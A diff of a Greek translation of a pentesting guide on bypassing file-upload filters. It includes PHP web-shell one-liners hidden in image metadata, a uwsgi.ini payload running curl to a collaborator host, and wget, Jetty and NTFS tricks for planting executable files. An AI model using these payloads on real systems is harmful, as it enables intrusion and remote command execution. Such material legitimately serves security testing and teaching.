7. Χρήση των **NTFS alternate data stream (ADS)** στα **Windows**. Σε αυτή την περίπτωση, ο χαρακτήρας ":" θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπτή. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον server (π.χ. "file.asax:.jpg"). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του short filename. Το pattern "**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργηθούν μη-κενά αρχεία. Επομένως, η προσθήκη ενός dot χαρακτήρα μετά από αυτό το pattern μπορεί επίσης να είναι χρήσιμη για περαιτέρω παράκαμψη περιορισμών (π.χ. "file.asp::$data.”)
|
7. Χρησιμοποιώντας **NTFS alternate data stream (ADS)** στα **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω-κάτω τελείας ":" θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπτή. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον server (π.χ. "file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα με άλλες τεχνικές όπως η χρήση του short filename. Το μοτίβο "**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη-κενά αρχεία. Επομένως, η προσθήκη ενός dot χαρακτήρα μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακαμφθούν επιπλέον περιορισμοί (π.χ. "file.asp::$data.”)
|
||||||
8. Δοκιμάστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
|
8. Προσπαθήστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται και το κακόβουλο PHP παραμένει. AAA<--SNIP-->AAA.php
|
||||||
|
|
||||||
```
|
```
|
||||||
# Linux maximum 255 bytes
|
# Linux maximum 255 bytes
|
||||||
@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|||||||
AAA<--SNIP 232 A-->AAA.php.png
|
AAA<--SNIP 232 A-->AAA.php.png
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
### Παράκαμψη Content-Type, Magic Number, Compression & Resizing
|
||||||
|
|
||||||
- Παράκαμψη ελέγχων **Content-Type** ρυθμίζοντας την **τιμή** του header **Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
|
- Παράκαμψη ελέγχων **Content-Type** ορίζοντας την **τιμή** της κεφαλίδας **Content-Type** σε: _image/png_ , _text/plain_, _application/octet-stream_
|
||||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||||
- Παράκαμψη ελέγχου **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes ενός πραγματικού image** (να μπερδέψει την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\
|
- Παράκαμψη ελέγχου **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (να μπερδεύσετε την εντολή _file_). Ή εισάγοντας το shell μέσα στα **metadata**:\
|
||||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||||
`\` ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\
|
`\` ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\
|
||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
- Αν γίνεται **συμπίεση** στην εικόνα σας, για παράδειγμα χρησιμοποιώντας κάποιες standard PHP βιβλιοθήκες όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την PLTE chunk [**τεχνική ορισμένη εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει της συμπίεσης**.
|
- Εάν **γίνεται συμπίεση** στην εικόνα, για παράδειγμα χρησιμοποιώντας κάποιες standard PHP βιβλιοθήκες όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές μπορεί να μην είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιo κείμενο που θα **επιβιώσει της συμπίεσης**.
|
||||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||||
- Η σελίδα θα μπορούσε επίσης να κάνει **resizing** της **image**, χρησιμοποιώντας για παράδειγμα τις PHP-GD συναρτήσεις `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την IDAT chunk [**τεχνική ορισμένη εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει της συμπίεσης**.
|
- Η σελίδα μπορεί επίσης να **αλλάζει μέγεθος** στην εικόνα, χρησιμοποιώντας για παράδειγμα τις PHP-GD συναρτήσεις `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει της συμπίεσης**.
|
||||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||||
- Άλλη τεχνική για να φτιάξετε ένα payload που **επιβιώνει ένα image resizing**, χρησιμοποιώντας τη PHP-GD function `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την tEXt chunk [**τεχνική ορισμένη εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει της συμπίεσης**.
|
- Μια άλλη τεχνική για να φτιάξετε ένα payload που **επιβιώνει του resizing εικόνας**, χρησιμοποιώντας τη PHP-GD συνάρτηση `thumbnailImage`. Επίσης, μπορείτε να χρησιμοποιήσετε το **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει της συμπίεσης**.
|
||||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||||
|
|
||||||
### Άλλα κόλπα για έλεγχο
|
### Άλλα κόλπα για έλεγχο
|
||||||
|
|
||||||
- Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
|
- Βρείτε ευπάθεια που να επιτρέπει το **rename** του αρχείου που έχει ήδη ανέβει (για αλλαγή της επέκτασης).
|
||||||
- Βρείτε μια **Local File Inclusion** ευπάθεια για να εκτελέσετε το backdoor.
|
- Βρείτε ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor.
|
||||||
- **Πιθανή αποκάλυψη πληροφοριών**:
|
- **Πιθανή αποκάλυψη πληροφοριών**:
|
||||||
1. Ανεβάστε **πολλές φορές** (και **ταυτόχρονα**) το **ίδιο αρχείο** με το **ίδιο όνομα**
|
1. Ανεβάστε **πολλαπλές φορές** (και **ταυτόχρονα**) το **ίδιο αρχείο** με το **ίδιο όνομα**
|
||||||
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
|
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
|
||||||
3. Ανεβάζοντας ένα αρχείο με **".", "..", ή "…"** ως όνομα. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στο "/www/uploads/" directory, το όνομα αρχείου "." θα δημιουργήσει ένα αρχείο που ονομάζεται "uploads" μέσα στο "/www/" directory.
|
3. Ανέβασμα αρχείου με **".", "..", ή "…"** ως όνομα. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στο "/www/uploads/" directory, το όνομα αρχείου "." θα δημιουργήσει ένα αρχείο που ονομάζεται "uploads" στον "/www/" φάκελο.
|
||||||
4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **"…:.jpg”** σε **NTFS**. (Windows)
|
4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **"…:.jpg”** σε **NTFS**. (Windows)
|
||||||
5. Ανεβάστε ένα αρχείο σε **Windows** με **άκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
|
5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
|
||||||
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **απαγορευμένα** ονόματα όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **κρατημένα** (**forbidden**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||||
- Δοκιμάστε επίσης να **ανεβάσετε ένα executable** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοιχτεί κατά λάθος από το θύμα.
|
- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ακούσια ανοίξει από το θύμα.
|
||||||
|
|
||||||
### Ειδικά κόλπα με επεκτάσεις
|
### Ειδικά κόλπα επεκτάσεων
|
||||||
|
|
||||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, [ρίξτε μια ματιά στο κόλπο με το **.htaccess** για εκτέλεση κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, ρίξτε μια ματιά στο κόλπο **.htaccess** για εκτέλεση κώδικα: [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution].\
|
||||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, [ρίξτε μια ματιά στο κόλπο με το **.config** για εκτέλεση κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, ρίξτε μια ματιά στο κόλπο **.config** για εκτέλεση κώδικα: ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files.
|
||||||
|
|
||||||
Τα `.phar` αρχεία είναι σαν τα `.jar` για την java, αλλά για php, και μπορούν να **χρησιμοποιηθούν σαν php αρχείο** (εκτελώντας τα με php, ή συμπεριλαμβάνοντάς τα μέσα σε ένα script...)
|
Τα `.phar` αρχεία είναι σαν τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν σαν php αρχείο** (να εκτελεστούν με php, ή να συμπεριληφθούν μέσα σε ένα script...)
|
||||||
|
|
||||||
Η επέκταση `.inc` μερικές φορές χρησιμοποιείται για php αρχεία που χρησιμοποιούνται μόνο για **import files**, οπότε, κάποτε, κάποιος μπορεί να είχε επιτρέψει **αυτή την επέκταση να εκτελείται**.
|
Η επέκταση `.inc` μερικές φορές χρησιμοποιείται για php αρχεία που χρησιμοποιούνται μόνο για **import files**, οπότε, σε κάποιο σημείο, κάποιος μπορεί να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**.
|
||||||
|
|
||||||
## **Jetty RCE**
|
## **Jetty RCE**
|
||||||
|
|
||||||
Αν μπορείτε να ανεβάσετε ένα XML αρχείο σε έναν Jetty server μπορείτε να αποκτήσετε [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το XML αρχείο στο `$JETTY_BASE/webapps/` και περιμένετε shell!
|
Αν μπορείτε να ανεβάσετε ένα XML αρχείο σε έναν Jetty server μπορείτε να αποκτήσετε [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Οπότε, όπως αναφέρεται στην εικόνα παρακάτω, ανεβάστε το XML αρχείο στο `$JETTY_BASE/webapps/` και περιμένετε το shell!
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
## **uWSGI RCE**
|
## **uWSGI RCE**
|
||||||
|
|
||||||
Για λεπτομερή διερεύνηση αυτής της ευπάθειας δείτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
Για αναλυτική διερεύνηση αυτής της ευπάθειας δείτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||||
|
|
||||||
Remote Command Execution (RCE) ευπάθειες μπορούν να εκμεταλλευτούν σε uWSGI servers αν κάποιος έχει τη δυνατότητα να τροποποιήσει το `.ini` configuration file. Τα αρχεία ρύθμισης του uWSGI χρησιμοποιούν μια ειδική σύνταξη για να ενσωματώνουν "magic" μεταβλητές, placeholders και operators. Σημαντικά, ο operator '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να συμπεριλαμβάνει τα περιεχόμενα ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων schemes στο uWSGI, το scheme "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα `.ini` configuration file επεξεργάζεται.
|
Remote Command Execution (RCE) ευπάθειες μπορούν να εκμεταλλευτούν σε uWSGI servers εάν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρυθμίσεων `.ini`. Τα αρχεία ρυθμίσεων uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώνουν "magic" μεταβλητές, placeholders και operators. Σημαντικά, ο operator '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει τα περιεχόμενα ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων schemes στο uWSGI, το scheme "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν επεξεργάζεται ένα `.ini` αρχείο ρυθμίσεων.
|
||||||
|
|
||||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
Σκεφτείτε το ακόλουθο παράδειγμα ενός επιβλαβούς `uwsgi.ini` αρχείου, που δείχνει διάφορα schemes:
|
||||||
```ini
|
```ini
|
||||||
[uwsgi]
|
[uwsgi]
|
||||||
; read from a symbol
|
; read from a symbol
|
||||||
@ -126,13 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||||||
; call a function returning a char *
|
; call a function returning a char *
|
||||||
characters = @(call://uwsgi_func)
|
characters = @(call://uwsgi_func)
|
||||||
```
|
```
|
||||||
Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (ενδεχομένως μετά από ένα crash ή εξαιτίας επίθεσης Denial of Service) είτε το αρχείο να έχει οριστεί σε auto-reload. Η λειτουργία auto-reload, εάν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα όταν εντοπιστούν αλλαγές.
|
Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να γίνει parsing η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανέλθει (πιθανώς μετά από ένα crash ή λόγω μιας Denial of Service επίθεσης) είτε το αρχείο πρέπει να είναι ρυθμισμένο σε auto-reload. Η λειτουργία auto-reload, αν είναι ενεργοποιημένη, φορτώνει ξανά το αρχείο σε καθορισμένα διαστήματα όταν εντοπίζει αλλαγές.
|
||||||
|
|
||||||
Είναι κρίσιμο να κατανοήσει κανείς την χαλαρή φύση της ανάλυσης των αρχείων ρυθμίσεων από το uWSGI. Συγκεκριμένα, το payload που συζητήθηκε μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το εύρος της πιθανής εκμετάλλευσης.
|
Είναι κρίσιμο να κατανοήσουμε την επιεική φύση του parsing των αρχείων ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητούμενο payload μπορεί να εισαχθεί σε ένα binary αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης.
|
||||||
|
|
||||||
## **wget File Upload/SSRF Trick**
|
## **wget File Upload/SSRF Trick**
|
||||||
|
|
||||||
Σε κάποιες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας server χρησιμοποιεί **`wget`** για **κατέβασμα αρχείων** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων βρίσκεται μέσα σε μια whitelist για να διασφαλίσει ότι θα κατέβουν μόνο επιτρεπτά αρχεία. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\ Το **μέγιστο** μήκος ενός **όνομα αρχείου** σε **linux** είναι **255**, όμως, το **wget** περικόπτει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (όπως στο παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
|
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας server χρησιμοποιεί **`wget`** για **να κατεβάζει αρχεία** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβαζόμενων αρχείων ανήκει σε μια whitelist ώστε να διασφαλίζεται ότι θα κατέβουν μόνο επιτρεπτά αρχεία. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
|
||||||
|
Το **μέγιστο** μήκος ενός **όνομα αρχείου** σε **linux** είναι **255**, ωστόσο το **wget** περικόπτει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα θα **παρακάμψει** τον **έλεγχο** (όπως σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
|
||||||
```bash
|
```bash
|
||||||
#Create file and HTTP server
|
#Create file and HTTP server
|
||||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||||
@ -155,15 +156,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||||||
|
|
||||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||||
```
|
```
|
||||||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
Σημειώστε ότι **μια άλλη επιλογή** που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε διαφορετικό αρχείο**, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο και τότε το wget θα κατεβάσει το ανακατευθυνθέν αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα της ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στο αρχικό URL**.
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο για να βοηθάει Pentesters και Bug Hunters στο testing των file upload μηχανισμών. Αξιοποιεί διάφορες bug bounty τεχνικές για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας ολοκληρωμένες αξιολογήσεις των web applications.
|
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο να βοηθάει Pentesters και Bug Hunters στο testing μηχανισμών file upload. Εκμεταλλεύεται διάφορες bug bounty τεχνικές για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας διεξοδικές αξιολογήσεις web εφαρμογών.
|
||||||
|
|
||||||
### Corrupting upload indices with snprintf quirks (historical)
|
### Corrupting upload indices with snprintf quirks (historical)
|
||||||
|
|
||||||
Ορισμένοι legacy upload handlers που χρησιμοποιούν `snprintf()` ή παρόμοια για να χτίσουν multi-file arrays από ένα single-file upload μπορούν να εξαπατηθούν ώστε να παραποιήσουν τη δομή `_FILES`. Εξαιτίας ασυνεπειών και αποκοπών στη συμπεριφορά του `snprintf()`, ένα προσεκτικά διαμορφωμένο single upload μπορεί να εμφανιστεί ως πολλαπλά indexed αρχεία στην πλευρά του server, μπερδεύοντας λογική που υποθέτει ένα αυστηρό σχήμα (π.χ. θεωρώντας το ως multi-file upload και ακολουθώντας μη ασφαλείς διαδρομές). Αν και σήμερα πιο niche, αυτό το μοτίβο “index corruption” εμφανίζεται περιστασιακά σε CTFs και παλαιότερους κώδικες.
|
Κάποιοι legacy handlers για upload που χρησιμοποιούν `snprintf()` ή παρόμοια για να χτίσουν multi-file arrays από ένα single-file upload μπορούν να εξαπατηθούν ώστε να πλαστογραφήσουν τη δομή `_FILES`. Λόγω ασυνεπειών και περικοπών στη συμπεριφορά του `snprintf()`, ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί ως πολλαπλά indexed files στην πλευρά του server, μπερδεύοντας λογική που υποθέτει συγκεκριμένο σχήμα (π.χ., το θεωρεί multi-file upload και παίρνει unsafe branches). Παρότι σήμερα είναι πιο niche, το pattern αυτό της “index corruption” περιστασιακά αναβιώνει σε CTFs και παλαιότερα codebases.
|
||||||
|
|
||||||
## From File upload to other vulnerabilities
|
## From File upload to other vulnerabilities
|
||||||
|
|
||||||
@ -177,11 +178,11 @@ Note that **another option** you may be thinking of to bypass this check is to m
|
|||||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
- Αν μπορείτε να **υποδείξετε στον web server να πάρει μια εικόνα από ένα URL** μπορείτε να προσπαθήσετε να καταχραστείτε ένα [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **image** πρόκειται να **αποθηκευτεί** σε κάποιο **public** site, μπορείτε επίσης να υποδείξετε ένα URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
|
||||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
- Ειδικά κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **ενχύσετε PDF δεδομένα για να επιτύχετε JS execution**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs, μπορείτε να φτιάξετε κάποιο PDF που θα εκτελεί arbitrary JS ακολουθώντας τις δοθείσες οδηγίες.
|
||||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content για να ελέγξετε αν ο server έχει κάποιο **antivirus**
|
||||||
- Check if there is any **size limit** uploading files
|
- Ελέγξτε αν υπάρχει κάποιο **size limit** κατά το uploading αρχείων
|
||||||
|
|
||||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||||
|
|
||||||
@ -208,15 +209,15 @@ https://github.com/portswigger/upload-scanner
|
|||||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||||
- **JPG**: `"\xff\xd8\xff"`
|
- **JPG**: `"\xff\xd8\xff"`
|
||||||
|
|
||||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
